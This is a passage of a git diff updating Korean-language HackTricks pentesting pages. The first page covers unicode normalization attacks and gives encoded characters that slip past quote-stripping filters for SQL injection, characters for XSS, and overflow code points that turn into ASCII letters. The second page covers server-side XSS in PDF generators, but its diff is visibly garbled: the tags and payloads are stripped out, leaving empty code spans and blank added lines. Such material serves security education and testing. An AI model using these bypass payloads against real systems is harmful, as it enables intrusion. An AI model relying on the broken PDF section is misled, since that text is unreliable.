스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다. +- **Variants of UTF**: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다. 유니코드의 복잡성과 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하기 위해 이러한 개념을 이해하는 것이 중요합니다. @@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### 발견하기 -웹앱에서 반환되는 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다. +웹앱 내에서 에코된 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**를 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 에코된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다. 다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`는 **유니코드** 후에 `Leonishan`입니다. @@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### **SQL 인젝션 필터 우회** -사용자 입력으로 SQL 쿼리를 생성하는 데 문자 `'`를 사용하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 사용자 입력에서 문자 **`'`**의 모든 발생을 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다. +사용자 입력으로 SQL 쿼리를 생성하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 **`'`** 문자의 모든 발생을 사용자 입력에서 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다. -그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다: +그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면, 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -81,24 +81,34 @@ https://github.com/carlospolop/sqlmap_to_unicode_template ### XSS (교차 사이트 스크립팅) -웹앱을 속이고 XSS를 악용하기 위해 다음 문자 중 하나를 사용할 수 있습니다: +다음 문자 중 하나를 사용하여 웹 애플리케이션을 속이고 XSS를 악용할 수 있습니다: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) -예를 들어, 제안된 첫 번째 유니코드 문자는 `%e2%89%ae` 또는 `%u226e`로 전송될 수 있습니다. +예를 들어, 제안된 첫 번째 유니코드 문자는 다음과 같이 전송될 수 있습니다: `%e2%89%ae` 또는 `%u226e` ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ### 퍼징 정규 표현식 -백엔드가 **사용자 입력을 정규 표현식으로 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식은 **전송된 URL**을 **정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다. +백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다. 도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요. +## 유니코드 오버플로우 + +이 [블로그](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)에서, 바이트의 최대 값은 255이며, 서버가 취약하다면 오버플로우를 만들어 특정하고 예상치 못한 ASCII 문자를 생성할 수 있습니다. 예를 들어, 다음 문자는 `A`로 변환됩니다: + +- 0x4e41 +- 0x4f41 +- 0x5041 +- 0x5141 + ## 참고 문헌 - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) +- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 1de535228..1c885ace0 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -4,25 +4,25 @@ ## Server Side XSS (Dynamic PDF) -웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 봇을 **속여서 임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\ -따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 발견하면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다. +사용자 제어 입력을 사용하여 PDF를 생성하는 웹 페이지가 있는 경우, PDF를 생성하는 봇을 **속여서 임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\ +따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다. -`` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다 (예: `` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다 (예: ` + @@ -32,10 +32,26 @@ + + + + + + + + + + + + +